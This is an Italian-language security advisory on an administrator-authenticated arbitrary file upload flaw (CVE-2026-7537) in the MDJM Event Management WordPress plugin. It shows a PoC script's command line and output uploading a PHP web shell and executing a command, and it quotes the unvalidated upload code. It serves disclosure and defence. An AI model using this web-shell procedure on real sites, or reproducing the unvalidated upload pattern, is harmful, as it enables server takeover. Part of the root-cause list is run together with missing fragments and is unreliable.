
MDJM Event Management <= 1.7.8.3 - Autenticato (Amministratore+) Caricamento Arbitrario di File tramite il parametro 'mdjm_email_upload_file'
Il plugin WordPress MDJM Event Management (versione 1.7.8.3 e precedenti) contiene una vulnerabilità di caricamento arbitrario di file che consente agli amministratori autenticati di caricare file PHP dannosi sul server, portando potenzialmente all'esecuzione remota di codice.
Viene fornito un POC CVE-2026-7537.py per dimostrare un utente autenticato che carica shell.php ed esegue codice remoto:
python3 ./CVE-2026-7537.py http://target-site.com admin password123
[+] Logging into: http://target-site.com/wp-admin
[+] Extracting nonce values...
[+] Uploading web shell: shell.php
[+] Web Shell Location: http://target-site.com/wp-content/uploads/2026/02/shell.php
[+]
[+] Executing test command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
La vulnerabilità esiste nella funzione mdjm_send_comm_email() della funzionalità di comunicazione. La funzionalità di caricamento non dispone di una corretta validazione dei file durante l'elaborazione degli allegati per le comunicazioni email. Ciò consente agli utenti autenticati con la capacità mdjm_comms_send (amministratori e admin MDJM per impostazione predefinita) di caricare file arbitrari, inclusi file PHP che possono essere eseguiti sul server.
Sorgente: Input utente da $_FILES['mdjm_email_upload_file']
Sink: move_uploaded_file($tmp_path, $file_path) in comms-functions.php#L248
La vulnerabilità si verifica perché:
send_comms tramite comms-functions.php#L24.mdjm_comms_send è concessa agli utenti con permesso manage_mdjm tramite class-mdjm-permissions.php#L626.mdjm_comms_send per impostazione predefinita - solo gli amministratori.mdjm_process_actions() in admin-actions.php#L26.mdjm_send_comm_email() registrata in comms-functions.php#L300.File: includes/admin/communications/comms-functions.php#L241-L251
if ( isset( $_FILES['mdjm_email_upload_file'] ) && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
$upload_dir = wp_upload_dir();
$file_name = $_FILES['mdjm_email_upload_file']['name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
$file_path = $upload_dir['path'] . '/' . $file_name;
$tmp_path = $_FILES['mdjm_email_upload_file']['tmp_name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
if ( move_uploaded_file( $tmp_path, $file_path ) ) {
$attachments[] = $file_path;
}
}
$_FILES['mdjm_email_upload_file'] vengono elaborati direttamente senza validazione in comms-functions.php#L241-L251./wp-content/uploads/YYYY/MM/) usando move_uploaded_file() senza controlli di sicurezza.